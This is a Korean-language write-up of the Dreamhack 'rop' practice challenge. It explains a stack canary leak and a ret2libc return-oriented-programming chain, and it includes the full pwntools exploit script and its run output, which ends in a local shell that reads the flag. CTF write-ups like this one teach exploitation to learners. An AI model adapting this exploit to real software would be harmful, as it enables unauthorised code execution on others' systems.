[dreamhack] rop writeup

1. 문제

thumbnail
rop

Exploit Tech: Return Oriented Programming에서 실습하는 문제입니다.

https://dreamhack.io/wargame/challenges/354

2. 풀이

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);

  return 0;
}

RTL 문제와 비슷하게 canary를 leak할 수 있는 기회를 주고, 이후 ROP payload를 보낼 수 있게 되어있다.


canary leak은 이제 쉽게 할 수 있다. gdb를 통해 실제 buf의 크기를 보자.

pwndbg> disass main
Dump of assembler code for function main:
   0x00000000004006f7 <+0>:	push   rbp
   0x00000000004006f8 <+1>:	mov    rbp,rsp
   0x00000000004006fb <+4>:	sub    rsp,0x40
   0x00000000004006ff <+8>:	mov    rax,QWORD PTR fs:0x28
   0x0000000000400708 <+17>:	mov    QWORD PTR [rbp-0x8],rax
   0x000000000040070c <+21>:	xor    eax,eax
   0x000000000040070e <+23>:	mov    rax,QWORD PTR [rip+0x20095b]        # 0x601070 <stdin@@GLIBC_2.2.5>
   0x0000000000400715 <+30>:	mov    ecx,0x0
   0x000000000040071a <+35>:	mov    edx,0x2
   0x000000000040071f <+40>:	mov    esi,0x0
   0x0000000000400724 <+45>:	mov    rdi,rax
   0x0000000000400727 <+48>:	call   0x400600 <setvbuf@plt>
   0x000000000040072c <+53>:	mov    rax,QWORD PTR [rip+0x20092d]        # 0x601060 <stdout@@GLIBC_2.2.5>
   0x0000000000400733 <+60>:	mov    ecx,0x0
   0x0000000000400738 <+65>:	mov    edx,0x2
   0x000000000040073d <+70>:	mov    esi,0x0
   0x0000000000400742 <+75>:	mov    rdi,rax
   0x0000000000400745 <+78>:	call   0x400600 <setvbuf@plt>
   0x000000000040074a <+83>:	mov    edi,0x400874
   0x000000000040074f <+88>:	call   0x4005b0 <puts@plt>
   0x0000000000400754 <+93>:	mov    edx,0x5
   0x0000000000400759 <+98>:	mov    esi,0x400884
   0x000000000040075e <+103>:	mov    edi,0x1
   0x0000000000400763 <+108>:	call   0x4005c0 <write@plt>
   0x0000000000400768 <+113>:	lea    rax,[rbp-0x40]
   0x000000000040076c <+117>:	mov    edx,0x100
   0x0000000000400771 <+122>:	mov    rsi,rax
   0x0000000000400774 <+125>:	mov    edi,0x0
   0x0000000000400779 <+130>:	call   0x4005f0 <read@plt>
   0x000000000040077e <+135>:	lea    rax,[rbp-0x40]
   0x0000000000400782 <+139>:	mov    rsi,rax
   0x0000000000400785 <+142>:	mov    edi,0x40088a
   0x000000000040078a <+147>:	mov    eax,0x0
   0x000000000040078f <+152>:	call   0x4005e0 <printf@plt>
   0x0000000000400794 <+157>:	mov    edi,0x400893
   0x0000000000400799 <+162>:	call   0x4005b0 <puts@plt>
   0x000000000040079e <+167>:	mov    edx,0x5
   0x00000000004007a3 <+172>:	mov    esi,0x400884
   0x00000000004007a8 <+177>:	mov    edi,0x1
   0x00000000004007ad <+182>:	call   0x4005c0 <write@plt>
   0x00000000004007b2 <+187>:	lea    rax,[rbp-0x40]
   0x00000000004007b6 <+191>:	mov    edx,0x100
   0x00000000004007bb <+196>:	mov    rsi,rax
   0x00000000004007be <+199>:	mov    edi,0x0
   0x00000000004007c3 <+204>:	call   0x4005f0 <read@plt>
   0x00000000004007c8 <+209>:	mov    eax,0x0
   0x00000000004007cd <+214>:	mov    rcx,QWORD PTR [rbp-0x8]
   0x00000000004007d1 <+218>:	xor    rcx,QWORD PTR fs:0x28
   0x00000000004007da <+227>:	je     0x4007e1 <main+234>
   0x00000000004007dc <+229>:	call   0x4005d0 <__stack_chk_fail@plt>
   0x00000000004007e1 <+234>:	leave
   0x00000000004007e2 <+235>:	ret
End of assembler dump.

buf의 위치는 rbp-0x40이고, canaryrbp-0x8에 위치한다. 따라서 0x38 + 1만큼 보내서 null바이트를 무시하고 7바이트를 받은 후, "\x00"을 붙여주면 canary가 된다.

# 1. leak canary
p.recvuntil("Buf: ")
p.send(b"a" * 56 + b"b")

p.recvuntil("b")
canary = u64(b"\x00" + p.recv(7))

그리고 이제 리턴주소를 덮어서 exploit을 해야하는데, 아래와 같이 stage를 구성했다.

  • ⁣1. puts@plt를 통해 puts@got에 들어가있는 puts함수의 실제 libc 주소를 출력
  • ⁣2. 출력된 puts함수의 주소를 기준으로 system함수와 "/bin/sh"문자열의 libc 주소를 계산
  • ⁣3. 이후 main함수로 리턴해서 다시 시작
  • ⁣4. 리턴주소를 덮어서 system("/bin/sh") 수행

이대로 exploit을 작성했고, 큰 문제는 없었다. 다만, puts함수와 system함수 실행할때 모두 ret 주소를 추가로 넣어줘서 스택 정렬을 시도했더니 안먹히길래 puts함수 실행 시에는 빼줬더니 됐다.

최종 exploit은 아래와 같다.

from pwn import *

p = process("./rop")
elf = ELF("./rop")
libc = ELF("./libc.so.6")

ret = 0x0000000000400596
pop_rdi = 0x0000000000400853
puts_plt = 0x4005b0
binsh_offset = 0x1d8698

# 1. leak canary
p.recvuntil("Buf: ")
p.send(b"a" * 56 + b"b")

p.recvuntil("b")
canary = u64(b"\x00" + p.recv(7))


# 2. leak puts libc address
p.recvuntil("Buf: ")

payload = b''
payload += b'a' * 56
payload += p64(canary)
payload += b'b' * 8
payload += p64(pop_rdi)
payload += p64(elf.got["puts"])
payload += p64(puts_plt)
payload += p64(elf.symbols["main"])

p.send(payload)
sleep(1)
puts_libc = u64(p.recv(6) + b"\x00" * 2)

# 3. overwrite puts@got with system
libcbase = puts_libc - libc.symbols["puts"]
system_libc = libcbase + libc.symbols["system"]
binsh_libc = libcbase + binsh_offset

p.recvuntil("Buf: ")
p.send(b"a")
sleep(1)

print(p.recv(1024))

payload = b''
payload += b'a' * 56
payload += p64(canary)
payload += b'b' * 8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh_libc)
payload += p64(system_libc)

p.send(payload)

p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/rop$ python3 e_rop.py 
[+] Starting local process './rop': pid 2306954
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/rop/rop'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
    RUNPATH:    b'.'
    Stripped:   No
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/rop/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
/home/ubuntu/dreamhack/level2/rop/e_rop.py:13: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("Buf: ")
/home/ubuntu/dreamhack/level2/rop/e_rop.py:16: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("b")
/home/ubuntu/dreamhack/level2/rop/e_rop.py:21: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("Buf: ")
cat/home/ubuntu/dreamhack/level2/rop/e_rop.py:41: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("Buf: ")
^H^Hb'Buf: a\x10\x88\xff\x9bq\n[2] Input ROP payload\nBuf: '
[*] Switching to interactive mode
$ 
$ cat flag
DH{**flag**}

여전히 vm 크레딧 없어서 로컬에서만 수행 ㅠㅠ


해결~